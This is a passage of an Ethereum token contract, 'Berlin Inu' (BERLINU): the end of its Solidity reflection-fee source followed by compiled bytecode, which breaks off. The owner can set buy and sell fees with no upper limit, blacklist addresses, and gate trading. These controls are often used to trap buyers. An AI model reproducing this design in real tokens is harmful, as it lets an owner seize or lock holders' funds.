_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d6c565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e3d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e95565b61087b565b6040516102649190612ef0565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6a565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f94565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612faf565b6108cf565b6040516102f79190612ef0565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f94565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d919061301e565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190613048565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613063565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130bc565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613063565b610c50565b60405161041e9190612f94565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e9565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f94565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613063565b610e99565b6040516104c69190612f94565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f19190613048565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130bc565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f94565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e3d565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130e9565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613116565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e95565b611125565b6040516105ff9190612ef0565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613063565b611143565b60405161063c9190612ef0565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131d8565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613238565b611376565b6040516106b99190612f94565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130e9565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613063565b61149c565b005b61071c61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c4565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613342565b9150506107ac565b5050565b60606040518060400160405280600a81526020017f4265726c696e20496e7500000000000000000000000000000000000000000000815250905090565b600061088f61088861165e565b8484611666565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc848484611831565b61099d846108e861165e565b61099885604051806060016040528060288152602001613d8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b69092919063ffffffff16565b611666565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132c4565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132c4565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165e565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165e565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d8161211a565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612186565b9050919050565b610ca961165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132c4565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132c4565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600781526020017f4245524c494e5500000000000000000000000000000000000000000000000000815250905090565b610fd761165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132c4565b60405180910390fd5b8060188190555050565b61107661165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132c4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165e565b8484611831565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165e565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165e565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121f4565b50565b61124461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132c4565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132e4565b5b905060200201602081019061130c9190613063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613342565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132c4565b60405180910390fd5b8060178190555050565b6114a461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611598906133fd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd9061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613521565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118249190612f94565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906135b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613645565b60405180910390fd5b60008111611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906136d7565b60405180910390fd5b61195c610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ca575061199a610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db557601560149054906101000a900460ff16611a59576119eb610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613769565b60405180910390fd5b5b601654811115611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906137d5565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b425750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613867565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e5760175481611be384610c50565b611bed9190613887565b10611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249061394f565b60405180910390fd5b5b6000611c3930610c50565b9050600060185482101590506016548210611c545760165491505b808015611c6c575060158054906101000a900460ff16155b8015611cc65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601560169054906101000a900460ff165b8015611d345750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db257611d98826121f4565b60004790506000811115611db057611daf4761211a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1d57600090506120a4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a357600a54600c81905550600b54600d819055505b5b6120b08484848461247a565b50505050565b60008383111582906120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59190612e3d565b60405180910390fd5b506000838561210d919061396f565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b5050565b60006006548211156121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490613a15565b60405180910390fd5b60006121d76124a7565b90506121ec81846124d290919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222b5761222a612bcb565b5b6040519080825280602002602001820160405280156122595781602001602082028036833780820191505090505b5090503081600081518110612271576122706132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231357600080fd5b505afa158015612327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234b9190613a4a565b8160018151811061235f5761235e6132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611666565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242a959493929190613b70565b600060405180830381600087803b15801561244457600080fd5b505af1158015612458573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124885761248761251c565b5b61249384848461255f565b806124a1576124a061272a565b5b50505050565b60008060006124b461273e565b915091506124cb81836124d290919063ffffffff16565b9250505090565b600061251483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279d565b905092915050565b6000600c5414801561253057506000600d54145b1561253a5761255d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257187612800565b9550955095509550955095506125cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b081612910565b6126ba84836129cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127179190612f94565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612772670de0b6b3a76400006006546124d290919063ffffffff16565b82101561279057600654670de0b6b3a7640000935093505050612799565b81819350935050505b9091565b600080831182906127e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127db9190612e3d565b60405180910390fd5b50600083856127f39190613bf9565b9050809150509392505050565b600080600080600080600080600061281d8a600c54600d54612a07565b925092509250600061282d6124a7565b905060008060006128408e878787612a9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b6565b905092915050565b60008082846128c19190613887565b905083811015612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613c76565b60405180910390fd5b8091505092915050565b600061291a6124a7565b905060006129318284612b2690919063ffffffff16565b905061298581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e28260065461286890919063ffffffff16565b6006819055506129fd816007546128b290919063ffffffff16565b6007819055505050565b600080600080612a336064612a25888a612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a5d6064612a4f888b612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a8682612a78858c61286890919063ffffffff16565b61286890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab68589612b2690919063ffffffff16565b90506000612acd8689612b2690919063ffffffff16565b90506000612ae48789612b2690919063ffffffff16565b90506000612b0d82612aff858761286890919063ffffffff16565b61286890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b395760009050612b9b565b60008284612b479190613c96565b9050828482612b569190613bf9565b14612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613d62565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0382612bba565b810181811067ffffffffffffffff82111715612c2257612c21612bcb565b5b80604052505050565b6000612c35612ba1565b9050612c418282612bfa565b919050565b600067ffffffffffffffff821115612c6157612c60612bcb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca282612c77565b9050919050565b612cb281612c97565b8114612cbd57600080fd5b50565b600081359050612ccf81612ca9565b92915050565b6000612ce8612ce384612c46565b612c2b565b90508083825260208201905060208402830185811115612d0b57612d0a612c72565b5b835b81811015612d345780612d208882612cc0565b845260208401935050602081019050612d0d565b5050509392505050565b600082601f830112612d5357612d52612bb5565b5b8135612d63848260208601612cd5565b91505092915050565b600060208284031215612d8257612d81612bab565b5b600082013567ffffffffffffffff811115612da057612d9f612bb0565b5b612dac84828501612d3e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612def578082015181840152602081019050612dd4565b83811115612dfe576000848401525b50505050565b6000612e0f82612db5565b612e198185612dc0565b9350612e29818560208601612dd1565b612e3281612bba565b840191505092915050565b60006020820190508181036000830152612e578184612e04565b905092915050565b6000819050919050565b612e7281612e5f565b8114612e7d57600080fd5b50565b600081359050612e8f81612e69565b92915050565b60008060408385031215612eac57612eab612bab565b5b6000612eba85828601612cc0565b9250506020612ecb85828601612e80565b9150509250929050565b60008115159050919050565b612eea81612ed5565b82525050565b6000602082019050612f056000830184612ee1565b92915050565b6000819050919050565b6000612f30612f2b612f2684612c77565b612f0b565b612c77565b9050919050565b6000612f4282612f15565b9050919050565b6000612f5482612f37565b9050919050565b612f6481612f49565b82525050565b6000602082019050612f7f6000830184612f5b565b92915050565b612f8e81612e5f565b82525050565b6000602082019050612fa96000830184612f85565b92915050565b600080600060608486031215612fc857612fc7612bab565b5b6000612fd686828701612cc0565b9350506020612fe786828701612cc0565b9250506040612ff886828701612e80565b9150509250925092565b600060ff82169050919050565b61301881613002565b82525050565b6000602082019050613033600083018461300f565b92915050565b61304281612c97565b82525050565b600060208201905061305d6000830184613039565b92915050565b60006020828403121561307957613078612bab565b5b600061308784828501612cc0565b91505092915050565b61309981612ed5565b81146130a457600080fd5b50565b6000813590506130b681613090565b92915050565b6000602082840312156130d2576130d1612bab565b5b60006130e0848285016130a7565b91505092915050565b6000602082840312156130ff576130fe612bab565b5b600061310d84828501612e80565b91505092915050565b600080600080608085870312156131305761312f612bab565b5b600061313e87828801612e80565b945050602061314f87828801612e80565b935050604061316087828801612e80565b925050606061317187828801612e80565b91505092959194509250565b600080fd5b60008083601f84011261319857613197612bb5565b5b8235905067ffffffffffffffff8111156131b5576131b461317d565b5b6020830191508360208202830111156131d1576131d0612c72565b5b9250929050565b6000806000604084860312156131f1576131f0612bab565b5b600084013567ffffffffffffffff81111561320f5761320e612bb0565b5b61321b86828701613182565b9350935050602061322e868287016130a7565b9150509250925092565b6000806040838503121561324f5761324e612bab565b5b600061325d85828601612cc0565b925050602061326e85828601612cc0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ae602083612dc0565b91506132b982613278565b602082019050919050565b600060208201905081810360008301526132dd816132a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334d82612e5f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133805761337f613313565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e7602683612dc0565b91506133f28261338b565b604082019050919050565b60006020820190508181036000830152613416816133da565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613479602483612dc0565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350b602283612dc0565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359d602583612dc0565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362f602383612dc0565b915061363a826135d3565b604082019050919050565b6000602082019050818103600083015261365e81613622565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c1602983612dc0565b91506136cc82613665565b604082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613753603f83612dc0565b915061375e826136f7565b604082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bf601c83612dc0565b91506137ca82613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612dc0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b600061389282612e5f565b915061389d83612e5f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d2576138d1613313565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613939602383612dc0565b9150613944826138dd565b604082019050919050565b600060208201905081810360008301526139688161392c565b9050919050565b600061397a82612e5f565b915061398583612e5f565b92508282101561399857613997613313565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139ff602a83612dc0565b9150613a0a826139a3565b604082019050919050565b60006020820190508181036000830152613a2e816139f2565b9050919050565b600081519050613a4481612ca9565b92915050565b600060208284031215613a6057613a5f612bab565b5b6000613a6e84828501613a35565b91505092915050565b6000819050919050565b6000613a9c613a97613a9284613a77565b612f0b565b612e5f565b9050919050565b613aac81613a81565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae781612c97565b82525050565b6000613af98383613ade565b60208301905092915050565b6000602082019050919050565b6000613b1d82613ab2565b613b278185613abd565b9350613b3283613ace565b8060005b83811015613b63578151613b4a8882613aed565b9750613b5583613b05565b925050600181019050613b36565b5085935050505092915050565b600060a082019050613b856000830188612f85565b613b926020830187613aa3565b8181036040830152613ba48186613b12565b9050613bb36060830185613039565b613bc06080830184612f85565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0482612e5f565b9150613c0f83612e5f